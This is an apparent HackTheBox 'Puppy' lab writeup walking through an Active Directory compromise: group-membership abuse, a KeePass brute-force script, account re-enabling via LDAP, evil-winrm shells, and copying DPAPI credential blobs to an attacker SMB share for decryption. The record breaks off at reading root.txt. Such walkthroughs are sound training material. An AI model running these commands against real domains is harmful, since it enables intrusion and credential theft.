Post

Puppy

Writeup for HackTheBox Puppy machine

Puppy

Executive Summary

Puppy is a hard-difficulty Windows Active Directory machine on HackTheBox. The compromise path involves exploiting Active Directory GenericWrite delegation permissions, cracking a KeePass database, modifying LDAP User Account Control attributes, decrypting DPAPI credentials, and leveraging DCSync privileges to perform a domain database dump.

The intrusion starts with the provided credentials for the domain account levi.james. Initial Active Directory enumeration via BloodHound reveals that levi.james belongs to the HR group, which possesses GenericWrite permissions over the DEVELOPERS group. By adding himself to the DEVELOPERS group, the attacker gains access to the DEV SMB share.

Within the DEV share, the attacker retrieves a KeePass database (recovery.kdbx). Cracking the database reveals credentials for ant.edwards. BloodHound indicates ant.edwards has permissions to reset the password of adam.silver, which is disabled. Using bloodyAD to change the password and ldapmodify to update the userAccountControl attribute, the attacker enables the account, connects via Evil-WinRM, and retrieves the user flag.

Further system enumeration reveals a backup archive (site-backup-2024-12-30.zip) containing an LDAP authentication configuration file, leaking the credentials of steph.cooper. Authenticating as steph.cooper via WinRM, the attacker targets DPAPI credentials. Decrypting the DPAPI masterkey and credential blobs yields the password for steph.cooper_adm. Since steph.cooper_adm holds DCSync permissions on the domain, the attacker dumps the NTDS.dit database via secretsdump, achieving full domain compromise.

In this machine, we are already provided with credentials:

levi.james / KingofAkron2025!

Reconnaissance

We start with an Nmap scan.

1
port=$(sudo nmap -p- $IP --min-rate 10000 | grep open | cut -d'/' -f1 | tr '\n' ',' )
1
sudo nmap -sC -sV -vv -p $port $IP -oN puppy.scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
┌──(kali㉿kali)-[~]
└─$ port=$(sudo nmap -p- $IP --min-rate 10000 | grep open | cut -d'/' -f1 | tr '\n' ',' )
[sudo] password for kali: 
                                                                                                                   
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ sudo nmap -sC -sV -vv -p $port $IP -oN puppy.scan      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-18 00:55 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:55
Completed NSE at 00:55, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:55
Completed NSE at 00:55, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:55
Completed NSE at 00:55, 0.00s elapsed
Initiating Ping Scan at 00:55
Scanning 10.10.11.70 [4 ports]
Completed Ping Scan at 00:55, 0.37s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 00:55
Scanning DCO1.PUPPY.HTB (10.10.11.70) [23 ports]
Discovered open port 445/tcp on 10.10.11.70
Discovered open port 53/tcp on 10.10.11.70
Discovered open port 139/tcp on 10.10.11.70
Discovered open port 135/tcp on 10.10.11.70
Discovered open port 111/tcp on 10.10.11.70
Discovered open port 464/tcp on 10.10.11.70
Discovered open port 3269/tcp on 10.10.11.70
Discovered open port 3268/tcp on 10.10.11.70
Discovered open port 64785/tcp on 10.10.11.70
Discovered open port 49667/tcp on 10.10.11.70
Discovered open port 49670/tcp on 10.10.11.70
Discovered open port 593/tcp on 10.10.11.70
Discovered open port 49685/tcp on 10.10.11.70
Discovered open port 636/tcp on 10.10.11.70
Discovered open port 389/tcp on 10.10.11.70
Discovered open port 2049/tcp on 10.10.11.70
Discovered open port 49669/tcp on 10.10.11.70
Discovered open port 88/tcp on 10.10.11.70
Discovered open port 49664/tcp on 10.10.11.70
Discovered open port 5985/tcp on 10.10.11.70
Discovered open port 62684/tcp on 10.10.11.70
Discovered open port 3260/tcp on 10.10.11.70
Discovered open port 9389/tcp on 10.10.11.70
Completed SYN Stealth Scan at 00:55, 0.73s elapsed (23 total ports)
Initiating Service scan at 00:55
Scanning 23 services on DCO1.PUPPY.HTB (10.10.11.70)
Completed Service scan at 00:57, 125.95s elapsed (23 services on 1 host)
NSE: Script scanning 10.10.11.70.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:57
NSE Timing: About 99.97% done; ETC: 00:57 (0:00:00 remaining)
Completed NSE at 00:57, 40.14s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:57
NSE Timing: About 98.94% done; ETC: 00:58 (0:00:00 remaining)
Completed NSE at 00:58, 39.97s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:58
Completed NSE at 00:58, 0.01s elapsed
Nmap scan report for DCO1.PUPPY.HTB (10.10.11.70)
Host is up, received echo-reply ttl 127 (0.35s latency).
Scanned at 2025-05-18 00:55:04 EDT for 207s

Bug in iscsi-info: no string output.
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-05-18 11:54:31Z)
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
2049/tcp  open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
3260/tcp  open  iscsi?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
62684/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
64785/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m17s
| smb2-time: 
|   date: 2025-05-18T11:56:31
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 62785/tcp): CLEAN (Timeout)
|   Check 2 (port 58506/tcp): CLEAN (Timeout)
|   Check 3 (port 26380/udp): CLEAN (Timeout)
|   Check 4 (port 57090/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:58
Completed NSE at 00:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:58
Completed NSE at 00:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:58
Completed NSE at 00:58, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 207.77 seconds
           Raw packets sent: 27 (1.164KB) | Rcvd: 24 (1.040KB)

The scan identifies a Windows Domain Controller (DCO1.PUPPY.HTB) with standard AD services: DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and WinRM (5985). SMB signing is enabled and required. The host is Windows Server 2022. With provided credentials, enumeration will focus on AD users, groups, and SMB shares.

Enumeration

Now we enumerate the available shares:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ nxc smb $IP -u 'levi.james' -p 'KingofAkron2025!' --shares 

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.11.70     445    DC               [*] Enumerated shares
SMB         10.10.11.70     445    DC               Share           Permissions     Remark
SMB         10.10.11.70     445    DC               -----           -----------     ------
SMB         10.10.11.70     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.70     445    DC               C$                              Default share
SMB         10.10.11.70     445    DC               DEV                             DEV-SHARE for PUPPY-DEVS
SMB         10.10.11.70     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.70     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.70     445    DC               SYSVOL          READ            Logon server share 
                                                                                                 

We observe several interesting shares, including DEV. We have READ permission only on default shares IPC$, NETLOGON and SYSVOL.

Next, we enumerate the users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ nxc smb $IP -u 'levi.james' -p 'KingofAkron2025!' --users

SMB         10.10.11.70     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025! 
SMB         10.10.11.70     445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-            
SMB         10.10.11.70     445    DC               Administrator                 2025-02-19 19:33:28 0       Built-in account for administering the computer/domain                                                                                                          
SMB         10.10.11.70     445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain                                                                                                        
SMB         10.10.11.70     445    DC               krbtgt                        2025-02-19 11:46:15 0       Key Distribution Center Service Account                                                                                                                         
SMB         10.10.11.70     445    DC               levi.james                    2025-02-19 12:10:56 0        
SMB         10.10.11.70     445    DC               ant.edwards                   2025-02-19 12:13:14 0        
SMB         10.10.11.70     445    DC               adam.silver                   2025-05-18 12:04:29 8        
SMB         10.10.11.70     445    DC               jamie.williams                2025-02-19 12:17:26 0        
SMB         10.10.11.70     445    DC               steph.cooper                  2025-02-19 12:21:00 0        
SMB         10.10.11.70     445    DC               steph.cooper_adm              2025-03-08 15:50:40 0        
SMB         10.10.11.70     445    DC               [*] Enumerated 9 local users: PUPPY

Now we create a username.txt file to store all the enumerated users:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB-machine/puppy/my-share]
└─$  nxc smb $IP -u 'levi.james' -p 'KingofAkron2025!' --users | awk '/^SMB/ && $5 ~ /^[a-zA-Z0-9_.]+$/ { print $5 }' | tee -a username.txt 
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

We update the /etc/hosts file to map the domain controller’s IP to its hostname and domain.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ cat /etc/hosts      
# Standard localhost entries

# Local hostname

127.0.1.1       kali

10.10.11.70 DCO1.PUPPY.HTB PUPPY.HTB

BloodHound Enumeration

Now we use bloodhound-python to collect Active Directory data. BloodHound maps Active Directory relationships — group memberships, ACLs (Access Control Entries), delegation rights, and session information — into a graph database (Neo4j). This helps us identify privilege escalation paths that would be difficult to spot manually. We collect all available data:

1
bloodhound-python -dc DC.PUPPY.HTB -u 'levi.james' -p 'KingofAkron2025!' -d PUPPY.HTB -c All --zip -ns $IP                        

We find that the user levi.james is a member of the HR group, which has GenericWrite permissions over another object DEVELOPER. In BloodHound’s model, GenericWrite on a group means the writer can modify the group’s attributes via LDAP — most importantly, adding or removing members by writing to the member attribute.

Error loading

Attempting to access the DEV share confirms that access is denied for levi.james:

1
smbclient //$IP/dev -U puppy.htb/levi.james%KingofAkron2025! 
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ smbclient //$IP/dev -U puppy.htb/levi.james%KingofAkron2025! 

Try "help" to get a list of possible commands.
smb: \> l
NT_STATUS_ACCESS_DENIED listing \*
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit

We have identified that the DEVELOPERS group is the object over which the HR group (and thus levi.james) has GenericWrite privileges. GenericWrite on a group object allows us to modify its attributes — crucially, we can add or remove members. We use bloodyAD, an Active Directory LDAP manipulation tool, to perform this. The add groupMember subcommand works by sending an LDAP modify operation on the group object — it appends the new member’s DN (Distinguished Name) to the member multi-valued attribute:

1
bloodyAD --host $IP -d puppy.htb -u levi.james -p "KingofAkron2025!" add groupMember DEVELOPERS levi.james

After adding levi.james to the group, we attempt to access the DEV share again. This time, access is granted. Inside the share, we find a .kdbx file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ smbclient //$IP/dev -U puppy.htb/levi.james%KingofAkron2025!                                                               

Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun May 18 07:06:21 2025
  ..                                  D        0  Sat Mar  8 11:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 03:09:12 2025
  Projects                            D        0  Sat Mar  8 11:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 22:25:46 2025

                5080575 blocks of size 4096. 1541835 blocks available

smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)
smb: \> 

Cracking the KeePass Database

The .kdbx file is a KeePass database — an encrypted container that stores credentials. To access it, we need the master password.

Why keepass2john (John the Ripper) Fails

keepass2john is a tool in the John the Ripper suite that extracts a password hash from older KeePass 2.x databases so John can crack it offline. However, this .kdbx file uses format version 40000 (KeePass 4.x / KDBX 4), which introduced a new header format and key derivation function (KDF) parameters that keepass2john’s hash extractor does not support. The error File version '40000' is currently not supported! means the tool cannot parse the header to extract a hash John can work with.

1
2
└─$ keepass2john recovery.kdbx > recovery.hash
! recovery.kdbx : File version '40000' is currently not supported!

Python Brute-Force Script

Instead, we use pykeepass, a Python library that supports KDBX 4 format natively. The script reads each password from a wordlist and attempts to open the database with PyKeePass(). If the password is correct, PyKeePass decrypts and loads the database without throwing an exception. On failure, it throws an exception (wrong MAC, decryption failure) and the script moves to the next password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys
from pykeepass import PyKeePass

def crack_kdbx(kdbx_file, wordlist_file):
    with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            password = line.strip()
            if not password:
                continue
            try:
                kp = PyKeePass(kdbx_file, password=password)
                print(f"[+] Password found: {password}")
                return
            except Exception:
                pass
    print("[-] Password not found in wordlist.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: python3 {sys.argv[0]} <kdbx_file> <wordlist>")
        sys.exit(1)
    kdbx_file = sys.argv[1]
    wordlist_file = sys.argv[2]
    crack_kdbx(kdbx_file, wordlist_file)

Set up a virtual environment, install pykeepass, and run the script:

1
2
3
4
python3 -m venv venv
source venv/bin/activate
pip install pykeepass
python3 crack_kbdx.py recovery.kdbx /usr/share/wordlists/rockyou.txt
1
[+] Password found: liverpool

Now open the database with KeePassXC using the cracked password liverpool:

1
keepassxc recovery.kdbx

Here we have passwords for different users:

Error loading

These are all the users:

1
2
3
4
5
6
7
8
9
JAMIE WILLIAMSON: JamieLove2025!

ADAM SILVER: HJKL2025!

ANTONY C. EDWARDS: Antman2025!

STEVE TUCKER: Steve2025!

SAMUEL BLAKE: ILY2025!

If we look at Ant Edwards’ delegated object control, we can see he is a member of the “Senior Dev” group, and that group has GenericAll (full control) access on the adam.silver user object. GenericAll is the most permissive ACE in Active Directory — it grants every possible right including:

  • Reset password (User-Force-Change-Password) — change the user’s password without the old one
  • Modify attributes — change any property on the object
  • Modify group membership — add/remove the user from groups
  • Delete the object

We abuse the password-reset right using bloodyAD set password, which modifies the unicodePwd attribute on the user object via LDAP (encrypted over LDAPS):

Error loading

Now, using BloodyAD, we change the password of this user:

1
2
3
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy.htb --dc-ip $IP set password adam.silver 'NewPassword123'                
[+] Password changed successfully!

When we try to log in, it doesn’t work because the account is disabled. Account disabling in AD is controlled by the userAccountControl attribute — a bitmask integer where bit 1 (value 2) corresponds to the ACCOUNTDISABLE flag. This means even with a valid password, Kerberos and NTLM authentication will reject the login.

Here, the account is shown as disabled:

1
2
3
4
5
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy.htb --dc-ip $IP get object 'CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB' --attr userAccountControl     

distinguishedName: CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT                                                   

The userAccountControl attribute in LDAP stores a bitmask of user account flags:

  • Value 512 (NORMAL_ACCOUNT) = enabled
  • Value 514 (NORMAL_ACCOUNT | ACCOUNTDISABLE = 512 + 2) = disabled
  • Value 66048 (NORMAL_ACCOUNT | DONT_EXPIRE_PASSWORD = 512 + 65536) = enabled, password never expires
FlagValueMeaning
NORMAL_ACCOUNT512Default enabled user
ACCOUNTDISABLE2Account login disabled
DONT_EXPIRE_PASSWORD65536Password never expires
NORMAL_ACCOUNT \| ACCOUNTDISABLE514Disabled user

To re-enable the account, we set the attribute back to 512 using ldapmodify with an LDIF (LDAP Data Interchange Format) file:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ cat modifly.ldify 
dn: CN=Adam D. Silver,CN=Users,DC=puppy,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 512

The LDIF file specifies:

  • dn: The Distinguished Name of the object to modify (the full LDAP path to adam.silver)
  • changetype: modify: The LDAP operation type (we are modifying an existing entry, not adding or deleting one)
  • replace: userAccountControl: We are replacing the current value(s) of this attribute
  • userAccountControl: 512: The new value to write

We apply it with ldapmodify:

  • -x: Use simple authentication (plaintext bind) instead of SASL
  • -D: The bind DN — the LDAP user we authenticate as (ant.edwards@puppy.htb)
  • -w: The bind password
  • -H: The LDAP URI (protocol + server)
  • -f: The file containing the LDIF operations
1
2
3
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ ldapmodify -x -D "ant.edwards@puppy.htb" -w 'Antman2025!' -H ldap://$IP -f modifly.ldify  
modifying entry "CN=Adam D. Silver,CN=Users,DC=puppy,DC=htb"

The “modifying entry” response confirms the LDAP server accepted the change. Now the account is enabled and we can authenticate:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ bloodyAD -u ant.edwards -p 'Antman2025!' -d puppy.htb --dc-ip $IP get object 'CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB' --attr userAccountControl

distinguishedName: CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNT

Initial Access

Now, we use evil-winrm to get the user.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/HTB-machine/puppy]
└─$ evil-winrm -i $IP -u adam.silver  -p NewPassword123
                                        
Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents> type ..\Desktop\user.txt
************9d1cbf36c18ffc6b68c65
*Evil-WinRM* PS C:\Users\adam.silver\Documents> 

Under C:\Backups we have a backup folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
*Evil-WinRM* PS C:\> ls


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/9/2025  10:48 AM                Backups
d-----         5/12/2025   5:21 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---          4/4/2025   3:40 PM                Program Files
d-----          5/8/2021   2:40 AM                Program Files (x86)
d-----          3/8/2025   9:00 AM                StorageReports
d-r---         5/18/2025   3:05 AM                Users
d-----         5/13/2025   4:40 PM                Windows


*Evil-WinRM* PS C:\> cd Backups
*Evil-WinRM* PS C:\Backups> ls


    Directory: C:\Backups


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          3/8/2025   8:22 AM        4639546 site-backup-2024-12-30.zip


*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
                                        
Info: Downloading C:\Backups\site-backup-2024-12-30.zip to site-backup-2024-12-30.zip
                                        
Info: Download successful!

Inside the backup archive, we find a file named nms-auth-config.xml.bak — a backup of an LDAP authentication configuration file for some internal application (likely a Network Management System). This file contains the bind credentials that the application uses to authenticate against AD for user lookups, with the password stored in plaintext:

steph.cooper/ChefSteph2025!

The <bind-dn> field shows the LDAP bind DN (cn=steph.cooper,dc=puppy,dc=htb) and <bind-password> reveals the corresponding password. Storing LDAP bind credentials in plaintext in a config file (especially one left in a backup) is a common configuration security issue.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/HTB-machine/puppy/puppy]
└─$ cat nms-auth-config.xml.bak 
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
    <server>
        <host>DC.PUPPY.HTB</host>
        <port>389</port>
        <base-dn>dc=PUPPY,dc=HTB</base-dn>
        <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
        <bind-password>ChefSteph2025!</bind-password>
    </server>
    <user-attributes>
        <attribute name="username" ldap-attribute="uid" />
        <attribute name="firstName" ldap-attribute="givenName" />
        <attribute name="lastName" ldap-attribute="sn" />
        <attribute name="email" ldap-attribute="mail" />
    </user-attributes>
    <group-attributes>
        <attribute name="groupName" ldap-attribute="cn" />
        <attribute name="groupMember" ldap-attribute="member" />
    </group-attributes>
    <search-filter>
        <filter>(&(objectClass=person)(uid=%s))</filter>
    </search-filter>
</ldap-config>

Again, we connect to evil-winrm with this user:

1
evil-winrm -i $IP -u steph.cooper  -p ChefSteph2025!

Privilege Escalation

steph.cooper has stored credentials in Windows DPAPI (Data Protection API) — the built-in Windows mechanism for encrypting secrets (stored credentials, browser passwords, certificates, etc.) at rest. When a user saves credentials via Credential Manager (e.g., “Remember my password” or runas /savecred), Windows encrypts them and stores the blob on disk.

DPAPI works in two layers:

  1. Master Key — A per-user symmetric key stored under %APPDATA%\Microsoft\Protect\{SID}\{GUID}. The filename is a GUID that identifies the key. The master key file contains multiple encrypted copies of the same key:
    • User Key — encrypted with a key derived from the user’s password hash (MD4 of the password → SHA1 → derive encryption key via PBKDF2).
    • Backup Key — encrypted with a domain-wide backup key (accessible to Domain Controllers), so an admin can recover the master key without the user’s password.
    • The file also contains a MasterKeyLen, BackupKeyLen, and DomainKeyLen header describing the encrypted payload sizes.
  2. Credential Blob — A file under %APPDATA%\Microsoft\Credentials\{GUID} containing the actual saved credentials (username + password), encrypted with the master key. The blob includes:
    • CRED_TYPE_DOMAIN_PASSWORD (type 2) — indicates these are domain authentication credentials
    • A Target field (e.g., Domain:target=PUPPY.HTB) describing where the credentials are used
    • The encrypted username and password strings

The decryption chain is: steph.cooper’s password → derive hash → decrypt master key → use master key to decrypt credential blob → recover steph.cooper_adm’s plaintext password.

This is why steph.cooper knowing steph.cooper_adm’s password through DPAPI is a common privilege escalation path — a lower-privileged user’s saved credentials often contain a higher-privileged account’s password.

Reference: DPAPI secrets

First, we set up the SMB server:

1
mkdir my-share
1
impacket-smbserver share ./my-share -smb2support

Now, we move the files here:

1
copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407" \\10.10.14.83\share\masterkey_blob
1
copy "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" \\10.10.14.83\share\credential_blob

To find the SID, we type: whoami /user

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> whoami /user

USER INFORMATION
----------------

User Name          SID
================== ==============================================
puppy\steph.cooper S-1-5-21-1487982659-1829050783-2281216199-1107
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials>

Now we run the following commands to decrypt DPAPI secrets:

1
impacket-dpapi  masterkey -file masterkey_blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107 

This command extracts the master key by decrypting it with the user’s password hash (derived from the plaintext password and SID). “Decrypted key with User Key (MD4 protected)” means the tool used the user-derived key (MD4 hash of the password → SHA1 → PBKDF2) to successfully decrypt the master key blob. The master key header shows:

  • Version 2 — DPAPI master key format (Windows 8+/Server 2012+)
  • MasterKeyLen: 136 — the encrypted master key is 136 bytes
  • BackupKeyLen: 104 — a domain backup key version of the same master key (104 bytes)
  • CredHistLen: 0 — no credential history
  • DomainKeyLen: 372 — the domain key used for domain-wide recovery of master keys

Then, we use the master key to decrypt the credential blob:

1
2
impacket-dpapi credential -file credential_blob -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

This command uses the decrypted master key (the 64-byte hex string) as a symmetric key to decrypt the credential blob. The credential blob is an encrypted CREDENTIAL structure that Windows stores when a user saves credentials via Credential Manager (e.g., runas /savecred). The decrypted output reveals steph.cooper_adm’s password FivethChipOnItsWay2025!, along with the credential type (CRED_TYPE_DOMAIN_PASSWORD) and target (Domain:target=PUPPY.HTB).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/HTB-machine/puppy/my-share]
└─$ impacket-dpapi  masterkey -file masterkey_blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107                                                         

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags       :        0 (0)
Policy      : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/HTB-machine/puppy/my-share]
└─$ impacket-dpapi credential -file credential_blob -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=PUPPY.HTB
Description : 
Unknown     : 
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

Now, we log in using the decrypted credentials and grep for root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/HTB-machine/puppy/my-share]
└─$ evil-winrm -i $IP -u steph.cooper_adm  -p FivethChipOnItsWay2025!
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Desktop> type ..\..\Administrator\Desktop\root.txt
